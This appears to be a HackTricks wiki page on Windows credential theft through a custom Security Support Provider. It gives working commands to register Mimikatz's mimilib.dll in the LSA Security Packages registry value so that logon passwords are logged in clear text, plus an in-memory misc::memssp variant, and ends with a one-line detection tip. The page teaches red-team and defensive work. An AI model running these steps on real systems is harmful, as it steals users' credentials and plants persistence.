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75 lines
3.5 KiB
Markdown
75 lines
3.5 KiB
Markdown
# Custom SSP
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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### Custom SSP
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[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
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You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.
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#### Mimilib
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You can use the `mimilib.dll` binary provided by Mimikatz. **This will log inside a file all the credentials in clear text.**\
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Drop the dll in `C:\Windows\System32\`\
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Get a list existing LSA Security Packages:
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{% code title="attacker@target" %}
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```bash
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PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
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HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
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Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
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```
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{% endcode %}
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Add `mimilib.dll` to the Security Support Provider list (Security Packages):
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```powershell
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reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
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```
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And after a reboot all credentials can be found in clear text in `C:\Windows\System32\kiwissp.log`
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#### In memory
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You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working):
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```powershell
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privilege::debug
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misc::memssp
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```
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This won't survive reboots.
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#### Mitigation
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Event ID 4657 - Audit creation/change of `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages`
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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|
|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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